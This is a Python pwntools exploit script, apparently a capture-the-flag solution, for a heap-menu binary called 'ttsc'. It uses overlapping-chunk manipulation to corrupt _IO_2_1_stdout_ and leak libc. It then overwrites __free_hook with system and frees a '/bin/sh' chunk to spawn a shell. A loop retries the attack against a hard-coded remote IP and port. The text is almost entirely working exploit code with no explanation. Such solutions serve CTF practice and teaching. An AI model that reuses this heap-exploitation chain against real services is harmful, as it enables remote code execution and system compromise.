1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| from pwn import* elf = ELF('ttsc') libc = elf.libc
global p context.log_level = 'debug'
def add(index, size, content): p.sendlineafter(b'chs:', b'1') p.sendlineafter(b'index?', str(index).encode()) p.sendlineafter(b'size:', str(size).encode()) p.send(content) def delete(index): p.sendlineafter(b'chs:', b'2') p.sendlineafter(b'index?', str(index).encode()) def edit(index, content): p.sendlineafter(b'chs:', b'3') p.sendlineafter(b'index?', str(index).encode()) p.sendafter(b'content:', content)
def pwn(): p.sendlineafter(b'name?', b'a' * 8) p.sendlineafter(b'age?', b'111') p.sendlineafter(b'high?', b'666') add(0, 0x18, b'a\n') add(1, 0x10, b'a\n') add(2, 0x20, b'a\n') add(3, 0x20, b'\x00' * 0x18 + p64(0x31)) delete(0) delete(1) delete(3) delete(2)
for i in range(5, 8): add(0, i * 0x10, b'a\n') add(1, i * 0x10, b'a\n') add(2, i * 0x10, b'a\n') add(3, i * 0x10, b'a\n') delete(3) delete(2) delete(1) delete(0)
add(0, 0x18, b'a\n') add(1, 0x18, b'a\n') payload = b'\x00' * 0x18 + b'\x51' edit(1, payload) delete(0) delete(1)
payload = b'\x00' * 0x18 + p64(0x31) + b'\xf0' add(0, 0x40, payload) add(1, 0x50, b'a\n') add(2, 0x20, b'a\n') add(3, 0x20, p64(0) + p64(0x4c1))
delete(1) delete(0) add(0, 0x20, b'a\n') add(1, 0x20, b'a\n') delete(0) delete(1) delete(3) delete(2)
add(0, 0x30, b'\x60' + b'\x57') add(1, 0x50, b'a\n') add(2, 0x50, p64(0xfbad1800) + p64(0) * 3 + b'\x00') leak = u64(p.recvuntil(b'\x7f', timeout=1)[-6:].ljust(8, b'\x00')) - 0x1150 libc_base = leak - libc.sym['_IO_2_1_stdout_'] free_hook = libc_base + libc.sym['__free_hook'] sys_addr = libc_base + libc.sym['system']
print(hex(libc_base))
delete(0) payload = b'\x00' * 0x18 + p64(0x31) + p64(free_hook) add(0, 0x40, payload) delete(0) add(0, 0x20, b'/bin/sh\x00') add(3, 0x20, p64(sys_addr)) delete(0) p.interactive()
while True: try: p = remote('121.40.89.206', 20111) pwn() except Exception as e: p.close()
|